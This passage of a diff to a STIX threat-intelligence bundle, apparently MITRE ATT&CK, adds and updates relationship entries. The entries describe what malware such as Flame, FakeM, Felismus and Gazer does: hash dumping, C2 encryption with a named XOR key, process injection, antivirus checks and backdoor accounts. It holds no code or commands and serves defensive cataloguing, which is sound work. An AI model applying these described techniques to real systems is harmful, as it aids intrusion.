             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD stages data it copies from the local system or removable drives in the \"%WINDIR%\\$NtUninstallKB885884$\\\" directory.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40808,7 +47933,7 @@
             "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.",
             "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
@@ -40824,12 +47949,54 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--7cfafeb7-2662-4b65-8dfc-93db752f5e71",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "is a simple proxy that creates an outbound RDP connection.",
+            "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e3b79cfa-6ea8-4e7a-85f8-9862702d466a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses RDP to tunnel traffic from a victim environment.",
+            "source_ref": "malware--0e18b800-906c-4e44-a143-b11c72b3448b",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--05352dad-ecbb-477c-a05c-5eb3d67ae9ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FTP operates over ports 21 and 20.",
             "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
@@ -40850,7 +48017,7 @@
             "id": "relationship--ac3ee298-bef0-4a52-9050-3dcef1701408",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FTP may be used to exfiltrate data separate from the main command and control protocol.",
             "source_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
@@ -40871,7 +48038,7 @@
             "id": "relationship--bfd49393-75b6-4e67-af74-4bf3c87624b0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FakeM contains a keylogger module.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -40892,7 +48059,7 @@
             "id": "relationship--a00d3582-7c2d-45dc-8580-1de25356ae70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The original variant of FakeM encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. FakeM has also included HTML code in C2 traffic in an apparent attempt to evade detection. Additionally, some variants of FakeM use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -40913,7 +48080,7 @@
             "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "FakeM C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -40934,7 +48101,7 @@
             "id": "relationship--4b6bee9b-469e-48ce-84fa-5322de03470a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of FakeM use RC4 to encrypt C2 traffic.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -40955,7 +48122,7 @@
             "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Some variants of FakeM use SSL to communicate with C2 servers.",
             "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
@@ -40971,12 +48138,222 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--2843ccc2-4869-48a0-8967-b9856a778a2c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "has masqueraded as legitimate Adobe Content Management System files.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--e9011839-ca57-434d-a0cc-007594247110",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "can download files from remote servers.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--fdf9f632-03ce-4e8c-88bf-3798bb7f5ef4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses command line for execution.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--863c1d57-db93-49a9-a953-eb7c2d6b2e5b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks for processes associated with anti-virus vendors.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--427a9eb9-659d-433c-9e2c-9a66d115a9a3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the current username and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--9f653750-2ee6-4d00-906b-c71f1d217288",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the system information, including hostname and OS version, and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--c74cbdc5-e454-4b22-957e-926854dd37f1",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "collects the victim LAN IP address and sends it to the C2 server.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--5cdbfaba-b4be-4cff-bdc6-c9205c44c844",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  samples use AES to encrypt C2 traffic.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--fa035513-59b6-4f54-8b85-13ec08849453",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Some  samples use a custom encryption method for C2 traffic using AES, base64 encoding, and multiple keys.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--4887f5b0-45ed-4848-a984-4e72263e33d8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses HTTP for C2.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--f1d5a985-406e-4b03-9f55-2706a2adba92",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Fgdump can dump Windows password hashes.",
             "source_ref": "tool--4f45dfeb-fe51-4df0-8db3-edf7dd0513fe",
@@ -40992,12 +48369,33 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "hooks processes by modifying IAT pointers to CreateWindowEx.",
+            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
+            "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                }
+            ]
+        },
         {
             "type": "relationship",
             "id": "relationship--2858ec3b-5814-4515-9dda-f8009fbf4cd3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame has a module named BeetleJuice that contains Bluetooth functionality that may be used in different ways, including transmitting encoded information from the infected system over the Bluetooth protocol, acting as a Bluetooth beacon, and identifying other Bluetooth devices in the vicinity.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41018,7 +48416,7 @@
             "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rundll32.exe is used as a way of executing Flame at the command-line.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41039,7 +48437,7 @@
             "id": "relationship--69d05cb2-ded0-4847-b52e-af7af421f303",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can use Windows Authentication Packages for persistence.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41060,7 +48458,7 @@
             "id": "relationship--00b0af92-df59-4d56-ac3e-18f6f1f72957",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame contains modules to infect USB sticks and spread laterally to other Windows systems the stick is plugged into using autorun functionality.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41072,7 +48470,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ]
         },
@@ -41081,7 +48479,7 @@
             "id": "relationship--57e6eba5-cb21-4a0d-b524-4981f49037b1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can create backdoor accounts with the login \"HelpAssistant\" with the Limbo module.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41093,12 +48491,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ]
         },
@@ -41107,7 +48505,7 @@
             "id": "relationship--07d16181-ba82-42c8-a67b-8d7d5adef52d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can record audio using any existing hardware recording devices.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41119,12 +48517,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ]
         },
@@ -41133,7 +48531,7 @@
             "id": "relationship--4a9f7553-b3ee-405b-9c81-f487b4bed868",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame identifies security software such as antivirus through the Security module.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41145,12 +48543,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ]
         },
@@ -41159,7 +48557,7 @@
             "id": "relationship--7ba62129-a4ba-42b4-9971-4a650682cb52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can take regular screenshots when certain applications are open that are sent to the command and control server.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41171,7 +48569,7 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 }
             ]
         },
@@ -41180,7 +48578,7 @@
             "id": "relationship--78b504a4-2bdd-44dd-b954-a7fa120f1efd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Flame can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.",
             "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
@@ -41192,12 +48590,12 @@
                 {
                     "source_name": "Kaspersky Flame",
                     "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/34344/the-flame-questions-and-answers-51/"
+                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/"
                 },
                 {
                     "source_name": "Kaspersky Flame Functionality",
                     "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
-                    "url": "https://securelist.com/blog/incidents/32855/flame-bunny-frog-munch-and-beetlejuice-2/"
+                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/"
                 }
             ]
         },
@@ -41206,7 +48604,7 @@
             "id": "relationship--bb8149a2-fdda-4c3a-9e02-f530c4ee7962",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "GLOOXMAIL communicates to servers operated by Google using the Jabber/XMPP protocol.",
             "source_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2",
@@ -41227,12 +48625,372 @@
                 }
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--ec30b3a9-69b4-4604-9def-db9e904df309",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer uses custom encryption for C2 using 3DES and RSA.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
+                    "url": "https://securelist.com/introducing-whitebear/81638/"
+                }
+            ]
+        },
+        {
+            "type": "relationship",
+            "id": "relationship--86ebda8c-df0c-4d76-970b-27bf392606a7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Gazer performs thread execution hijacking to inject its orchestrator into a running thread from a remote process. Gazer performs a separate injection of its communication module into an Internet accessible process through which it performs C2.",
+            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                },
+                {
+                    "source_name": "Securelist WhiteBear Aug 2017",
+                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
